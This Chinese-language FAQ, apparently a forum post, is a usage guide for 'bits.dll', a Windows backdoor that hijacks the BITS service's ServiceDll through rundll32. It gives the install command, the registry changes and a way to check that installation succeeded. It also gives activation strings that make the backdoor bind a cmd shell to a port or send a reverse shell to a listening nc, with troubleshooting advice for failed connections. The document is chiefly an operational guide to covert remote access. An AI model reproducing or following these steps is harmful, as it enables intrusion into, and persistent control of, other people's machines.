由于bits的特定方式使得在使用时会出现一些问题,又是dll方式的服务,因此出现错误也不清楚是为什么。写个faq,大家按着步骤对照自己的操作看看问题出在哪。因为我也没有看到小榕的代码,所以有些问题也不清楚,有问题的话一起改把。 


1. 安装进行了什么? 
a. 把服务的启动方式改为自动 
b. 替换指定服务的Parameters\ServiceDll指向bits.dll自己 
c. 报告安装成功"Install BITS OK"(只能在DbgView这种方式看到,命令行下没有,因为rundll32不是命令行程序,所以printf没有用) 
d. 在HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost\netsvcs下建立一个Strings值为<active string>@dancewithdolphin。 
e. 启动指定服务 

假如命令行为:rundll32 bits.dll,Install abc;则HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\bits\Parameters的ServiceDll指向bits.dll的全路径,Svchost\netsvcs的Strings=abc@dancewithdolphin 


2. 安装成功的条件: 
a. 要安装的服务必须存在,缺省是bits服务; 
b. 要按照的服务在注册表里必须有Parameters子键。缺省bits服务,必须有HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Parameters这个注册表键。 

如果缺少任何一个条件将安装失败,并且DbgView看不到失败提示及原因。 

3. 如何确认bits是否安装成功? 
因为bits安装时很难给出提示,因此最好确认一下。假设安装的服务是BITS 
a. 安装的服务BITS是否已经存在 
b. HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\bits\Parameters的ServiceDll是否指向bits.dll的全路径 
c. HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost\netsvcs下的Strings是否是激活串 
d. 指定的服务是否可以启动。为了保险,可以重新启动一次bits服务。 

可以使用regedit,也可以使用命令行的reg确认注册表信息。 


4. 正向连接步骤 
a. 用nc或者其他工具连接目标主机的一个开放TCP端口 
b. 输入激活命令 <Active Strings>@dancewithdolphin[xell]:<PORT> 
例如,在安装的时候设定了<Active Strings>为abc,要将CMD绑定在端口99 
abc@dancewithdolphin[xell]:99 

c. 用nc或者telnet连接激活命令指定的目标主机端口(上例中为99) 


5. 正向连接成功条件 
a. bits必须安装成功(费话) 
b. 发送的激活命令格式必须正确,而且bits进行sniffer时要能够听到 
c. 最后telnet时,双方防火墙必须允许访问指定的端口。 

(如果由于网络繁忙,可能bits会丢包,如果失败,可以多试两次) 



6. 反向连接步骤 
a. 在本地使用NC监听一个端口(如:nc -l -p 1234) 
b. 用nc连接目标主机的任何一个开放TCP端口 
c. 输入激活命令<Active Strings>@dancewithdolphin[rxell]:<Your IP>:<Listen Port> 
例如,在安装的时候设定了Active Strings为abc,本机地址为1.1.1.1, nc在的listen端口是1234 
abc@dancewithdolphin[rxell]:1.1.1.1:1234 

d. 本地NC监听的端口1234将会出现目标主机的CMD 

注意反向连接是[rxell](reversed shell),正向连接是[xell] 


7. 反向连接成功条件 
a. bits必须安装成功(费话) 
b. 发送的激活命令格式必须正确,而且bits进行sniffer时要能够听到 
c. 本地ip地址端口,目标主机必须能够进行访问。如果对方是公网地址,那么本地也应该是公网地址才行。 
d. 最后双方防火墙必须允许访问指定的端口。 

(如果由于网络繁忙,可能bits会丢包,如果失败,可以多试两次) 


8. 卸载进行了什么? 
a. 把HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost\netsvcs下的Strings改为Removed@dancewithdolphin。 
b. 把HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\bits\Parameters的ServiceDll指向%systemroot%\system32\qmgr.dll。 
c. 报告安装成功"Install BITS OK"(DbgView下) 

注意: 
a. 如果你安装时使用的不是缺省的bits服务,那么卸载时更改的依然是bits服务,而不是安装时指定的服务。因此可能需要你手工卸载。因为bits没有保存原来的配置记录,因此只能修改bits的ServiceDll。 
b. HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost\netsvcs下的Strings是为入侵检查bits安装提供的。可以手工删除 
c. 因为安装时就检查了服务要存在,因此卸载时就不删除服务。 


9. 关于代码 
安装步骤和卸载步骤顺序基本和代码里边是一致的。安装和卸载使用的是一个函数ReplaceService,区别是<Active Strings>和一个标志不同,卸载使用的是Removed,不过安装和卸载在DbgView里报告的都是"Install BITS OK",而没有进行区分。